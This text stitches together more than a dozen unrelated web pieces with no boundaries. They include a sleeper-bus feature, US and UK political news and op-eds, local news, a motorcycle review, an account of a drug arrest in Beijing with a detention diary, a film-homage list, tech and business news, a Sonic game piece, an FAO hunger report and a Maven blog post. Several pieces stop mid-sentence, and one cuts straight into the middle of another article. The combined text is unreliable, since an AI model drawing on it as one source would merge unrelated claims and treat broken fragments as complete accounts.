While the dim lights are still on, I crawl back out to talk with fellow Cabineers. I'm literally on my knees, whispering, when I meet Jeff Kateman. He's tucked under his blanket — snug as a bug — as he explains why he paid $115 to travel this way.
Enlarge this image toggle caption Cabin Technologies Cabin Technologies
"I never liked flying into San Francisco, and if I can avoid flying, I avoid flying," says Kateman, a lawyer who does mergers and acquisitions. "This just seemed better than driving. Someone else is driving for you."
This is what Silicon Valley is betting on: that people don't want to drive. Autonomous cars and the much-hyped (and nonexistent) hyperloop are on the sexier end of the tech industry's efforts to disrupt transportation. This new bus startup is on the practical end — aspiring to be the Uber or Lyft of long trips. (So far they're just offering service between Los Angeles and San Francisco.)
Kateman could get used to traveling this way. He's about 6 feet tall, "but there's more than enough room," he says. "It's actually very comfortable."
Back in my pod, I draw the curtain and listen to the announcement, which sounds more like what you'd hear at a spa — not on a bus.
"There's life water to keep you hydrated," says the attendant says in a calm, slow cadence. "Additionally there's a shoe bag, so your shoes can sleep as well."
Well, my shoes and I both sleep very well. When we pull into a parking lot in San Francisco, I realize I've been out 7.5 hours (way more than usual).
I pack up, take off and make it to work early.
You may be wondering how I slept for so long, since LA to San Francisco is only a six-hour drive. Well, to guarantee a full night's rest, the creators of Cabin turned it into eight hours — by driving slower and using back roads.Déjà vu all over again 1/1 Please reload
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(Click here to see more) Played the Voting Game last night. (Thanks, Kathy & Ken!) A question is posed and each player votes for the player they feel is best described by the question. The player who receives the most votes then keeps that question card. These were my cards at the end of the game. I will wear them like a badge of honor. ;)
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RECENT VIDEO Starring my cat. Because it's my web site and I can do what I want. (Click on the arrow to play)Romney signs marriage pledge
Former Massachusetts Gov. Mitt Romney has joined Minnesota Rep. Michele Bachmann and former Sen. Pennsylvania Rick Santorum in signing a pledge to oppose same-sex marriage on a number of specific fronts.
The three candidates signed the pledge advanced by the National Organization for Marriage, which has led national and state campaigns to limit marriage to a man and a woman. The signature of the front-runner, Romney, is a bit of a coup for the group, as he's been careful about committing to other pledges, including a broad promise to a socially conservative Iowa group that caused trouble for other candidates.
Romney, Bachmann and Santorum signed on to support a federal constitutional amendment defining marriage, to appoint federal judges who don't see a constitutional right to same-sex marriage and to back the Defense of Marriage Act.
They've also pledged to support a referendum on marriage in Washington and to establish a "presidential commission on religious liberty" aimed at protecting the rights of marriage foes to speak out.
The pledge is less meaningful for its direct consequences than for the fact that it fully commits the three candidates to the hottest front in the culture wars.Please enable Javascript to watch this video
HUNTSVILLE, Ala. (WHNT) -- Throughout the next decade, Ditto Landing will hardly be a repeat experience for visitors.
Wednesday, Huntsville City and Madison County leaders unveiled eight months worth of public input and planning for what they say has been one of the area's most underutilized attractions.
Ditto Landing spans nearly 600 acres of land along the Tennessee River, but until now, only 35 acres were truly in use.
The upgrades include greenways, ziplines, additional bicycle paths, non-motorized water sports, expanded campgrounds and improved traffic flow.
"They all really kind of fit in with the overall theme, which is just take advantage of the recreational aspect of it, make sure that you maintain the beauty of it and the natural state of it," said Huntsville Urban and Long Range Planning Manager Dennis Madsen.
The plan will be broken into three phases spanning about ten years with a mixture of public and private funding and it was all inspired by the community.
"This facility belongs to the public," said Ditto Landing board of directors chairman Wallace Kirkpatrick. "We, as the steward, have a responsibility to perfect it for public use."
The Madison County Commission also provided $20,000 of seed money to jumpstart the project that is expected to jumpstart the revitalization of the Tennessee River waterfront.
"We Ditto to become not just a great amenity for Huntsville, but to really become a regional recreation destination," said Madsen.
One of the first upgrades includes paddleboard, kayak and canoe rental. It is expected to be in place by June.
For a breakdown of all the phases of improvements, click here."Awwwww, Manchester City!" That is Franck Ribery's reaction to Bayern Munich drawing the Citizens in the group stage of the UEFA Champions League, minus the French accent too stereotypically perfect and anguish at their unlucky draw. Watch the video for the reaction because it's hilarious.
Hehe. There could not be a more perfect reaction to that draw. It is perfectly French and perfectly hilarious. Ribery is upset for good reason too. Manchester City are scary good right now.
In addition to City, Bayern Munich also drew Villareal and Napoli. Lucky them, right? It was a pretty miserable draw for Bayern. It is still a group they will be favored to advance from, but it went almost as poorly as it could have possible gone. I have no doubt that Ribery had a perfectly French accented anguish reaction to drawing Napoli too. Hopefully there is a camera and mic on Ribery for everything going forward just to capture moments like this.How is Britain to mark the 60th anniversary of the Universal Declaration of Human Rights?
With the continued development of £12bn plans to set up a vast data silo to store information on all phone calls, emails and internet connections? Another soviet style article form Jack Straw, which tells us how the inventory of freedoms has increased under Labour? Or the issue of ID cards to foreigners by a government that knows the public don't give a damn about the rights and privacy of foreigners?
Somehow we always knew that Jacqui Smith would be at the centre of this important anniversary but you have to hand it to the government: nobody had predicted that human rights and freedom in Britain would be celebrated with the arrest and fingerprinting of an opposition MP by terror police, the search of his premises, hard drives and telephones, the taking of his DNA and the attempted intimidation of his wife, Alicia.
And no one foresaw the good fortune that Green's young daughter arrived from school to find her home swarming with police. Why is it so important to the symbolism of the affair? Because her appearance allows the police to enter her name on the Merlin database which requires them to take the details of children who come to their attention when a premises is being searched.
No action by the authorities could have better revealed the decay in the chassis of parliamentary democracy. It captures everything – the seeming politicisation of the police, the unprincipled brass neck of the home secretary, the degradation and failure of the parliamentary authorities and the growing confusion in labour between the roles of the government and state.
Jacqui Smith has been busy saying that she knew nothing of the operation before it took place and that she adhered to the principle that the police should be allowed to pursue the investigation without political interference. But then under pressure she has begun to hint of a dark interior to this scandal, a conspiracy to distort the political process. She can't have it both ways. Either she did know about the operation, in which case she should resign, or she didn't, in which case she should keep quiet on the purpose of the investigation.
My guess is that she didn't have to know about the arrest: she could rely on the anti-terror chief Bob Quick to serve the government's interests because he so desperately wants Sir Ian Blair's job. And we should not forget that the home secretary has just given the police a Christmas present of 10,000 Taser guns. Labour loves a uniform – especially one that is armed.
The arrest of Green is so grave in its implications that even Labour MPs have begun to wonder who exactly is running the show. Harriet Harman, once known as a civil libertarian, David Blunkett and Denis MacShane have all protested. Incidentally, the last time I talked to MacShane – I think it was on the subject of ID cards, which he supports – he told me that the British public wanted a strong state. But not when it interferes with MPs, it seems.
Let us hope more Labour MPs find the courage to protest at the state opening of parliament for it is only MPs who have a complete understanding of the way parliament has been undermined by Labour – the threats to committee chairmen to follow every dot and comma of the government line, the frequent and cynical use of the guillotine to cut short inconvenient discussion on the business of the house, the replacement in the post of Serjeant-at-Arms of Peter Grant Perkin by Jill Pay who allowed the arrest of Green and finally the attack on sessional orders which define MPs' rights. Conservative are at this moment investigating whether they still have the right to debate the matter of Green's arrest under the sessional orders on Wednesday.
By any standards the authority of parliament has declined since Labour came to power. There has been an aggregation of power at the centre, a politicisation of the civil service and a decline in the scrutiny and therefore of the government's accountability to the public. This has all been presided over by Michael Martin, one of the worst speakers since the war, a man distinguished by his complete failure to understand the duties and the history of his office. His head should roll but not before we know the full facts about the involvement of Sir David Normington, the permanent secretary at the Home Office.
It shows how far things have gone that the home secretary displays no understanding of the importance of what happened last week. On Friday she blithely called the objections "disreputable". It seems that it has become unacceptable even to question the use of terror police to storm into parliament and search an MP's office, breaching parliamentary privilege and the privacy all those people who have trusted Green with their confidences.
This episode should not be allowed to die. It symbolises the attack on parliament started under Tony Blair, who never had any love or understanding of the place. It is now time for parliament to reassert itself. One way to do that is to call for the impeachment of those involved. The threat alone would restore some of the power that has ebbed from parliament over the last dozen or so years.
What we should take away from the arrest of Damian Green are the following.
Terror police were used on an inquiry that involved neither threat to public safety nor a breach of the Official Secrets Act. That is the definition of function creep and it is an abuse of special tactics and powers.
The authorities are suspected of bugging MPs – the Conservatives are having their offices swept. Whether they are being bugged or not, we should note that the police seized all Damian Green's digital equipment and are busily copying his communications and contacts. If they are prepared to do this without a charge being laid then we must assume that government surveillance will one day include anyone who threatens its interests. It may already include journalists and activists who are opposed to its policies. It will certainly do so if Jacqui Smith's proposals to collect all our communications data go ahead.
And finally we should not forget that the slide in the quality of democracy and the erosion of liberty in Britain have been allowed to take place by MPs and many journalists who simply averted their gaze. As the News of the World pointed out yesterday, "This is how British liberties are destroyed. Not by a conniving, cat-stroking prime minister. But by lack of attention." If Rupert Murdoch's newspaper can see what has happening so should all Labour's friends in the liberal press who have been in a state of denial.Alex Patel enters Colonie Town Court to take his plea deal Thursday morning March 19, 2015 in Colonie, N.Y. (Skip Dickstein/Times Union archive) Alex Patel enters Colonie Town Court to take his plea deal Thursday morning March 19, 2015 in Colonie, N.Y. (Skip Dickstein/Times Union archive) Photo: SKIP DICKSTEIN Buy photo Photo: SKIP DICKSTEIN Image 1 of / 10 Caption Close Blu-Bell, Skylane motels in Colonie to be razed 1 / 10 Back to Gallery
Colonie
The tale of two troubled Central Avenue motels will come to an end within 90 days after the owner on Thursday agreed to a deal that includes demolishing them.
In exchange, Alex Patel, the owner of the Blu-Bell and Skylane motels, will avoid up to $750,000 in fines and the possibility of jail time.
"It's a positive outcome for everyone," said Colonie Town Supervisor Paula Mahan. "It's been a lot of frustration for a lot of different people for a long time, but I think with patience and working together and looking at all options, I think we've come to a very good resolution."
Patel declined to comment.
The two motels were closed by the town last year after code officials declared them uninhabitable. The case against Patel was adjourned for six months while he complies with the terms of the agreement, said Town Attorney Michael Maggiulli.
Patel must immediately apply for demolition permits and pursuant applications. Pending weather, the possible need for asbestos removal and working with National Grid, both motels need to be demolished within 90 days or all charges will be reinstated, Maggiulli said.
A manager's office and an apartment at the Skylane will be allowed to remain as long as the structure is brought up to code and fits into any new structure on the property.
Mahan said she believes Patel intends to work with the town in a constructive manner.
"I've been told that there's redevelopment in the works for that area."
Any new development must comply with the Route 5 Corridor Study, requiring retail outlets at the site, Maggiulli said.
Nothing formal has been submitted to the town but it is believed that a retail center will go on the former Blu-Bell site and a storage facility will be at the Skylane site, Mahan said. "They have to go through the process and plans and permitting have to be done."
[email protected] • 518-454-5467 • @KClukey_TUEICMA brought us all types of new shiny, two-wheeled toys to be excited about, but releasing bikes in such a grandiose style costs money. CSC took a different approach with the release of its new TT 250: The company sent out an e-mail.
The heading read: “CSC Offers $1,895 TT 250.” While other manufacturers release eight-part videos and long, drawn-out “sneak peeks” for new models, CSC is clearly depending on the price of the new TT 250 to get your attention.
If you are unfamiliar with CSC, I can’t say I blame you. Until recently CSC (California Scooter Company) was primarily an importer of Chinese scooters operating on the fringe of obscurity. That was until they released the RX-3 Cyclone earlier this year, utilizing a similar marketing technique of leading with price.
The RX-3 is a small, 250 cc “adventure” bike that comes standard with luggage and crash protection. Its MSRP of $3,495 had a lot of people talking. This was no doubt part of the plan for the release of the new, stripped-down TT 250 at an “introductory price” of $1,895, which will increase to a standard MSRP of $2,495.
Despite the KTM colors, I can't imagine this bike taking on the Austrian giant. Photo by CSC. While the RX-3 has a bit more adventure styling and appeal, the CSC TT 250 is a 309-pound dirt bike with lights. You get a 250 cc engine with a kicker and an electric starter, a five-speed gearbox, disc brakes, and suspension that offers preload adjustment at the rear. There is nothing about this bike that is going to have KTM owners abandoning their 350 EXC-Fs, but that isn’t CSC’s immediate goal.
With a sub-$2,000 price tag, this bike could appeal to a new rider looking for an inexpensive first machine, a veteran rider considering getting into off-road riding without a big investment, or even a year-round rider wanting a foul-weather commuter so the good bike can stay home in the garage on nasty days. The two things all these potential CSC customers must have in common is an aversion to spending much money and a willingness to wrench.
That's because you won't find one of these bikes at your local motorcycle shop. CSC keeps costs low by abandoning the traditional dealer network in favor of riders ordering their bikes directly from CSC’s Southern California location. The bike is crated and shipped to your front door with instructions for assembly. As previously discussed in our article on the RX-3, the TT 250 relies on customers who don’t mind turning a wrench or two. CSC's website is chock full of tutorials walking owners through all of the maintenance required to keep their bikes chugging along. If you don't like working on your own machine, this is not the bike for you.
For riders looking for an affordable, competent little bike, this could be a nice option. Photo by CSC.
I would be more skeptical of this approach with the TT 250 if it weren’t for the tremendous amount of feedback we have seen surrounding the release of the RX-3. Folks seem generally interested in what CSC is doing. When I was in California a few months ago, I passed at least five Cyclones on the street. There appears to be demand for a machine that requires minimal investment upfront and that riders can keep running with basic tools they already have in their garage.Michael Manning was, in many ways, just another young American living in China. His career there followed a trajectory familiar to many Americans who’d gone to China to teach: He started off in the provinces — in his case, not in a province but in the Xinjiang Uyghur Autonomous Region — and wrote a blog about his experiences there. He moved to Beijing once he had a decent command of the language, and worked for the English channel of China Central Television.
But in Korla, the town in Xinjiang where he taught, Michael discovered the local hashish: not the hard, somewhat sticky dark brown hash familiar to most people who’ve smoked it, but a greenish, powdery cannabis product sometimes called kief. Discovering a market for it in Beijing, the former High Times contributor started sending it to himself a couple of kilos at a time in hollowed-out subwoofers of cheap home stereo systems. He was making great money, and making all sorts of friends. And then he got caught.
Now living in Oakland, California, where he works for a legal marijuana dispensary, Michael reached out to let us know he’d be willing to talk to us about his very unusual experience: his detention, arrest and incarceration in Beijing after he was caught in possession of about two kilograms of hashish.
He’d written about his experience online before, but anonymously. This time, he was willing not only to talk about his arrest and time in jail in Beijing in 2009, but also about his arrest and incarceration in New Jersey, less than three years after his deportation from China. (He served two years of a 10-year sentence, and is now on parole.) What’s more, he agreed to talk on the record, with no voice alteration, no fake names and nothing off-limits.
In the last few years, Chinese law enforcement has been cracking down on cannabis use. In August 2014, police raided Dos Kolegas, a popular bar and live house, barring the exits and forcing everyone present to produce identification and submit to on-the-spot urinalysis. It resulted in the detention and subsequent deportation of about a dozen foreigners — one of whom had arrived from Italy only hours before. Another similar raid in June of this year at bars in Beijing’s trendy Gulou area — Modernista and Mado — saw more detentions and deportations. And in the summer of 2015, three teenagers attending an international school in Beijing were busted for pot. The crackdown hasn’t been just on foreigners: A number of Chinese, including celebrities, such as Jackie Chan’s son, Jaycee, have been jailed for weed-related wrongdoing.
It wasn’t always like this. Recreational drug use was rare indeed in the decades that followed the Communist Party’s victory on the mainland. Heroin did make its way back into parts of the country bordering the Golden Triangle and near Central Asian transshipment routes. But even after the late 1980s and early 1990s, when marijuana became quite commonplace among — cliché as it might be — various rock musicians and artists in Beijing, law enforcement officials tended to wink at its use, just as they had long tolerated it among minority nationalities, especially in the Xinjiang Uyghur Autonomous Region. Back then, the occasional roundups of pot and hash smokers were aimed mainly at nabbing bigger fish selling harder substances. Visitors to Beijing and environs well into the aughts may recall how cannabis grew wild even in urban Beijing. Indeed, it can still be found growing in the city’s hutong alleyways, where ordinary folk grow it in planters alongside their azaleas, harvesting its seeds, which they feed to the birds they keep.
Today, relatively few Chinese use marijuana — methamphetamine, ketamine and heroin are more prevalent — though it remains fairly common among the foreign populations of major cities and is readily available from street dealers. Increasingly, it’s grown locally, though much still comes from Xinjiang or is imported from outside of China.
Listen to the Sinica Podcast conversation with Michael Manning here. Below, you can read the diary that Michael kept surreptitiously for a few weeks in April and May 2009, which he has generously shared with us and allowed us to publish.
A PDF of the diary is available here, and we’ve transcribed it for you below. Some of the language may be offensive to readers.
For keeping track of facts, dates, names, personalities, events, etc. while incarcerated at the Beijing City Number 1 Detention Center.
MM Wed April 8 2009
Date: 2009-4-8
Detained in this place for more than three weeks now, I think it’s a good idea to write down the important facts before they are forgotten or lost to the blur of time. I was arrested (or detained, actually) at about 11am on March 15, 2009, in my apartment in Sun City. I had worked an overnight shift at CCTV the night before so had only slept for about 2 hours. An hour or so before the fatal moment, I received a call from someone likely posing as an EMS delivery driver asking if I was home to receive a package.
When I heard the knock on my door I pulled myself out of bed and threw on some pajama pants. I was groggy, but was immediately set on edge by the presence of two rather burly deliverymen—there had only been one when I received packages in the past. Beyond just signing my name, they asked me to print it and also to write my passport number. For some weakly-relaized reason, I wrote the last number as 9 rather than 4—as if this could save me! Then as I glanced to the right to move the package inside my door, a veritable flood of security men, mostly in plain clothes, rushed through the door from the darkened hallway at great speed. I knew I’d been found out, and in any case my proximity to the door gave me not enough time to even think of fleeing… and where would I go? Among the invasion was a woman wielding a videocamera, and one of my first thoughts, and one of my first thoughts was that my arrest would appear on CCTV, where I’d been working just a few hours before!
Anyone who’s been arrested knows the sickening sensation that you’ve just been punched in the gut and I felt positively nauseous. My arms were grabbed and I was twisted around and made to sit on the floor. I was asked in Chinese if I knew why they’d come and felt no need to deceive them. Their presence meant they already knew too much. I noticed that instead of two straps around my parcel it was now only one… they’d already had a look inside.
I told them the box contained “duping”—drugs, two kilos of “dama.” Seeing that I could speak some Chinese, and that I was taking what they’d prob. call a “correct” attitude, the mood lightened somewhat as they began a search of my apartment. I was even helpful enough to point out where various small bits of hash were tucked away. To my surprise, I knew where every last gram was hidden—a bag in the drawer of the coffee table, some dregs in a baggie near the front door, a half-forgotten crust in the bottom of a breathmint container in my night table, another bag in the righthand pocket of my black winter coat along with a glass pipe and lighter. They asked me my name in Chinese [note: Michael’s Chinese name is “Jin Gubang,” the name of the legendary Monkey King’s magical staff], and as always, the answer brought smiles all around… We were almost friendly. They allowed me to change into a button-down shirt and a pair of pants, and off we went. (They also collected all of the expensive items
|
The scene itself demonstrates their characters’ descent into the gangster lifestyle. A technical masterpiece that weaves its way through tight spaces, crowded rooms, and long hallways, Scorsese had to film the difficult scene eight times before they got it right. It set the milestone for the modern day tracking shot.
2. The Scene: The tour of the Belafonte in The Life Aquatic with Steve Zissou
In Wes Anderson’s fourth film, we follow sea captain and oceanographer Steve Zissou (Bill Murray) as he treks through the sea in search of the illusive Jaguar shark that ate his partner Esteban. In one scene, Steve Zissou breaks the fourth wall and gives a guided tour of his ship named the Belafonte to the audience. The Belafonte set is a gigantic cross-section of a ship, allowing the audience to see simultaneously into every room and compartment. In a long continuous take, the camera pans from side to side, showing all of the rooms and their inhabitants.
Inspiration: Tout Va Bien
The infamous Belafonte set was directly inspired from the sausage factory from Jean-Luc Godard’s Tout Va Bien. During the film, an American journalist named Susan (Jane Fonda) and her husband Jacques are trapped inside the aforementioned factory when a strike breaks out when they attempted to interview the manager. Intended to promote Godard’s Maoist politics through the use of traditional Western cinematic structure, the film attempted to use the strike as a metaphor for class struggle. The cross-sectioned sausage factory allows the audience to see all of the different stages of the strike as the camera dollies back and forth. But believe it or not, Tout Va Bien did not originate the idea of a cross-sectioned set. This piece of revolutionary cinema was inspired, in fact, by a Jerry Lewis comedy.
Inspiration: The Ladies’ Man
One of Jerry Lewis’ seminal comedies, The Ladies Man tells the story of Herbert H. Heebert. At the start of the film, good-natured but shy Herbert loses his girlfriend. As a result, he develops a crippling fear of women. Wackiness ensues when he gets a job as a caretaker at a women-only boarding house. The boarding house was constructed as a series of cross-sections, allowing the camera to observe all of the girls at once. This leads to one of the film’s greatest scenes where the girls all wake up in the morning and prepare for the day. The camera glides between all of the rooms and watches as the boarding house erupts into an ant-farm of activity. The catchy jazz tune that accompanies the scene doesn’t hurt, either. The scene in question is listed below, albeit dubbed in Spanish.
1. The scene: A baby carriage rolls down a staircase during a climatic shootout in The Untouchables.
Brian De Palma’s The Untouchables is a wild retelling of 1920s Prohibition agent Eliot Ness’ struggles to take down Al Capone. To do so, he handpicks a team of agents to create The Untouchables, a crime fighting unit capable of dealing with the legendary mob boss. In one of the film’s climatic scenes, The Untouchables go to Union Station in Chicago to apprehend Walter Payne, Capone’s accountant. What results is a wild shootout. In the midst of the firefight, a woman at the top of a flight of stairs loses control of her baby carriage. The carriage rolls down the stairs with the baby still inside.
Inspiration: The Battleship Potemkin
One of the most influential films ever made, The Battleship Potemkin is a 1925 silent film that presents a dramatized account of the 1905 mutiny of the crew of the Russian battleship Potemkin against their Tsarist officers. Noted for its pioneering use of film-making techniques (in particular the use of montage), the film’s most celebrated scene is the Odessa Steps Massacre. In it, a group of the Tsar’s Cossacks massacre a group of civilians. One of the victims of the fictionalized massacre was a mother who knocks her baby carriage down the famous flight of stairs. The scene has been quoted and replicated literally dozens of times. The most famous is the shootout in The Untouchables.
By Nathanael Hood
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Other Articles you Might LikeZTE’s Daydream VR-compatible Axon 7 smartphone costs $399.98 Preorders start today
ZTE has announced pricing and availability for the Axon 7 smartphone that it revealed last month. The Axon 7 is a 5.5-inch Android smartphone that will be compatible with Google’s Daydream VR system when the latter launches this fall. ZTE is opening preorders of the Axon 7, which sells for $399.98, through Amazon, Best Buy, B&H, Newegg, and its own online store today, with delivery to start on July 27th.
Aside from the Daydream compatibility, the Axon 7 has a quad HD AMOLED display, Qualcomm’s Snapdragon 820 processor, 4GB of RAM, a hi-fi audio system, a 20-megapixel camera, and a full metal design. It has dual SIM card slots that are compatible with GSM networks, such as AT&T and T-Mobile. Those specs put it up against phones that have much higher price tags, so it will be interesting to see how the Axon 7 holds up once we’ve spent some time with it.
Dan Seifert / The VergeWeb pioneer Yahoo may sell its core business, as the company's latest turnaround efforts continue to stall, The Wall Street Journal reported last night.
Sources familiar with the plans say the board is meeting today through Friday "to consider selling off the company’s flagging Internet businesses and how to make the most of its valuable stake in Chinese e-commerce powerhouse Alibaba Group Holding Ltd.," the Journal wrote. "Directors are likely to discuss whether to proceed with a plan to spin off its investment in Alibaba, currently worth more than $30 billion, find a buyer for Yahoo’s gaggle of Web properties, or both."
A Yahoo spokesperson declined to comment on the report when contacted by Ars this morning.
Yahoo, founded in 1994, hired former Google executive Marissa Mayer to turn the company around in July 2012. With Mayer as CEO, Yahoo bought Tumblr and a number of other, lesser-known companies and worked on improving its mobile apps, but it is still struggling to grow the business. In Q3 2015, Yahoo reported seven percent year-over-year growth in revenue to bring the total to $1.2 billion but posted an $86 million operating loss. Yahoo had made an operating profit of $42 million in the same quarter last year.
Yahoo's 15 percent stake in Alibaba is worth about $32 billion, the Journal report said. Since Yahoo's total market capitalization is $31 billion, stock market investors "are valuing Yahoo’s core business at less than zero if the Asian assets were spun out tax-free."
That doesn't mean Yahoo's core business would sell for nothing, though. One analyst "valued Yahoo’s core business at $3.9 billion, not including cash," the report said. Yahoo has cash and short-term investments totaling $5.9 billion.
Microsoft offered to buy Yahoo for $44.6 billion way back in 2008, but Yahoo refused to sell. This time around, the Journal's sources said that "private equity firms are expected to be among those taking a look at Yahoo’s core business."
UPDATE: The Journal is now reporting that Verizon and IAC/InterActive Corp. are among the companies likely to explore a purchase of Yahoo's Internet business. Verizon recently purchased AOL.
News Corp. and private equity firm TPG Capital also may be interested in buying "pieces of Yahoo," such as the company's media properties.This might fall on deaf ears, but it must be said: Folks, please stop trashing our city. Please.
I’m talking to those of you who think breaking windows, setting fires and spray-painting Oakland’s downtown will somehow make this all better. It won’t. It will only make things worse.
Many of us are grieving over Tuesday’s election results. The notion of a misogynistic bigot leading our country is devastating. The idea that this nation is so divided that Donald Trump won the Electoral College is frightening.
We must heal. We must find a way to bring this country together so that it remains a respected world leader while still providing for its own people. That includes jobs, a decent wage, housing and health care for all.
Trashing our city will not advance that cause. It will only reinforce the division, proving to the rest of the nation that the Left Coast remains out of touch.
The fact is that indeed we are out of touch. We live in our political bubble, walled off from the anger and discontent of the Flyover states and the Rust Belt.
It’s one of the reasons so many of us are here: We like the bubble. We treasure the unique diversity and the progressive thinking that has made California a leader in, for example, addressing global warming, raising the minimum wage and protecting the rights of minority groups.
These are the sorts of values we should seek to export to the rest of the nation. But we must lead by example. Building fires in our streets won’t help the cause.
It will only reinforce the disdain that has spread across much of the country. Those angry white males who put Trump over the top care more about keeping their jobs than addressing the concerns of others who face discrimination in their daily lives. Most of them are good people. They’re just trying to put food on the table and keep a roof over their head.
Shaming them isn’t the answer. Winning them over is.
That means showing them that there’s a better way. That we can have universal health care. That everyone can make a decent living without dragging down the economy. That we can see immigrants, people of different skin color and other religions as a national asset, not a liability.
But we’re not going to do that by trashing our city. And, to digress for a moment, why target the media, and this newspaper’s office windows in particular?
Yes, we’re corporately owned. But that doesn’t dictate what we write. Yes, we too are struggling to financially stay afloat. The future of professional journalism in this country is uncertain. And, yes, we can get it wrong, as this election just showed.
But to those of you who want to advance change, a free press is essential. The need for neutral reporting is more critical than ever before.
The screaming talking heads of cable television are not that. Nor are the unfiltered Facebook postings recycling the latest politically slanted diatribes from both extremes of the political spectrum.
This election demonstrated that we need reliable information sources — for national and local news. And we need reasoned discussion. That is the path forward.
I understand the protesters’ frustration. I grew up in Berkeley and Oakland. I was on the streets of Telegraph Avenue during protests over People’s Park in 1969 and the Cambodia invasion in 1970. I know what it’s like to be righteously angry, to blame the system, the police, Wall Street, politicians.
But there’s a difference today. California has changed a lot since then. The state’s leadership is sympathetic to the plight of those it previously dismissed.
We have an opportunity to build on that. But we must be mindful that half the nation doesn’t see it the same way, as we found out painfully on Tuesday. And we’re not going to win them over by destroying our own house in a rage.The new Sonic basically lets you play as fan art This may be the closest we come to playing as Sanic
A common complaint among Sonic fans — stick with me, friends — is that the series, over the decades following the original trilogy, has been hamstrung by a ballooning cast of supporting characters: Shadow the Hedgehog, Jet the Hawk, Espio the Chameleon, Beam the Rabbit, and Vector the Crocodile. If it sounds like I made those up, that’s because one is absolutely fake. But which one?
My point is that the Sonic brand needs better characters. For Sonic Forces, the latest entry in the franchise, Sega has decided to pass the buck. Fans will, for the first time, be given tools to create their own playable Sonic character.
The toolset is surprisingly robust for a platformer. First, you select a base animal type: wolf, rabbit, cat, dog, bear, bird, and for the traditionalists, hedgehog. Each animal has a unique ability, e.g., birds can double jump, wolves vacuum nearby rings. Then you lavish your creation, handpicking an ensemble from hundreds of accessories and threads.
If you want to be a neon pink, zebra-striped cat wearing a silver crown, a knockoff Infinity Gauntlet, a heavyweight champion belt, a brown mustache, and yellow flippers, then, I have to say, you have exquisite taste. Also this Sonic game will really appeal to you.
Sincerely, I think this decision is inspired. Yes, Sega has struggled to build mainstream appeal around its exhausting cast. However, the franchise and its collection of misfit toys maintain a niche but ultra passionate fanbase comprised of talented creators. Sonic has played muse to countless fan fiction authors, meme farmers, DeviantArt illustrators. As my colleague Megan Farokhmanesh noted last year, you should Google your name plus “the hedgehog.”
Whether your interest in Sonic is sincere or ironic, Sonic Forces will allow you to not simply design a new Sonic character, but play as that character through the game. Beam the Rabbit wasn’t part of the Sonic cannon when I introduced him in this article. But Beam the Rabbit will appear in my playthrough of Sonic Forces, wearing nothing but fresh new sneakers emblazoned with the Sega Mega Drive logo.
Yes, those shoes are actually in the game. Why wouldn’t they be? They’re pure fan service, a natural addition to a project that doesn’t so much serve the fans as it appears to get out of their way.
Sonic Forces will be available on Nintendo Switch, PS4, Xbox One, and PC in “holiday” 2017.“There is more than enough food produced in the world to feed everyone, yet 815 million people go hungry,” Food and Agriculture Organization of the United Nations (FAO) states in its annual report titled “The State of Food Security and Nutrition in the World 2017.”
The report further paints a dire picture of affairs stating that world hunger is raising. In line with an estimate, “the estimated number of undernourished people increased from 777 million in 2015 to 815 million in 2016.” Global hunger was said to be declining steadily for more than a decade, it has now started to rise again as figures suggest that 11 percent of the global population is being affected by global hunger.
Also Read: In the loving memory of famed Christian apologist Nabeel Qureshi
FAO further states that despite the fact that the world’s population affected by chronic hunger increased there had been a parallel increase in the undernourished population in the world. Figures state that the number of undernourished people in the world also increased to 815 million, up from 777 million in 2015.
In this regard, food waste reduction has been a prime target under United Nation’s SDG 12 to be which was aimed to be achieved by 2030. UN had stated that: “by 2030, to halve per capita global food waste at the retail and consumer levels and reduce food losses along production and supply chains, including post-harvest losses.”
In this regard, United Nation’s Food and Agriculture Organization (FAO) in a recent report, reveals that 40% of food in Pakistan goes to waste bin instead of consumed by people. It was also revealed that majority of the food is being thrown and mixes up in the soil in cases when it’s dumped in the waste bins. Surprisingly, the report revealed that on average every Pakistani wastes 250 grams of food during marriage functions.
Food and Agriculture Organization of the United Nations reports that Pakistan, India and Bangladesh host millions of people who are not fed properly. However, substantial amount of food being produced in these countries is wasted in bulk.A Survival Guide to Maven, OR, Why Maven's Still Cool
27 August 2009
The Problem: Confusion
I've had a lot of small discussions recently with people where they were just absolutely not interested in using Maven. Has it somehow gotten a bad reputation when I wasn't looking? Am I missing something? When did I suddenly become the guy using a tool that was too slow, or not agile enough for everybody? I can still sing and dance and jump like you guys, too! Even if I do use Maven...
So, let old Josh tell you a little bit about Maven. Maybe we're not all talking about the same thing. Consider this a survival guide to Maven.
Maven, like this guide, assumes you're trying to solve the 80% cases effectively. Already, we have a point of confusion!
I'm pretty confident that your first thoughts on that last sentence were to what Maven considers "80%," and you're probably wondering what you might reasonably call Ant's "80%" cases. I would argue that Maven's "80%" is 80% of a much, much bigger pie.
I haven't met an Ant build yet that couldn't be cut down in complexity by using Maven. Sure, sometimes the resulting Maven pom.xml was more verbose (though, that doesn't happen all that often in practice, either), but that's not the same as complexity. Intrinsic complexity is one thing. Surface complexity is another. I define intrinsic complexity as the concepts required to effectively deal with a problem in a problem space. I define apparent complexity as the busy work a process presents you with to obtain a goal.
I'm pretty convinced Ant suffers from both of those kinds of complexities. I wasn't going to start any bar fights about it, but I was pretty sure. Then, Ruby On Rails debuted and made code generation popular again. It brought "convention over configuration" to the mainstream. Then, I knew I was on to something with Maven.
I might argue that when you download Ant and decide to keep it in your tool chain, you think of it as providing a solution, assuming you've configured it, to:
compiling Java source files into classes copying resources to the right place, such as.XML files,.properties files, etc. generating.jar or.war artifacts from the aforementioned classes. generating JavaDocs. I'm adding this one as a "maybe." Does anybody still do this and actually keep JavaDocs floating around? Is the Eclipse or IntelliJ support for rendering in-popup the contents of the JavaDoc not enough?
The enlightened Ant user will also, maybe, add dependency management with Ivy to Ant's 80% cases. I mention this to be fair, though I highly doubt it's that common. I suspect that a lot of Ant users would still relegate that to the fringe 20% cases.
Alright, so we have our 80%. Most people have a sample ant build.xml that they've lugged around and, when it's time to seed a new project, they plop it into place and it's got some variables that need to be replaced and then it does most of the things above. Except JavaDocs and Ivy. I'd be surprised, anyway.
Maven's got all of those features - right out of the box - in 5 lines of XML and a standard directory structure. This is where it stops being a fair fight. No matter how much you tug or pull against that list above, chances are you're at least going to use Ant to compile. No way around it. Even the simplest Ant configuration requires more exertion to acheive that than Maven does. This point, and this point alone, is why I'm just not convinced people are taking a look at this and understanding it. If the goal is simplicity, then there's nothing simpler than nothing. If you've had to put even a moment's care into that list above, than you've already wasted time and could have been using Maven.
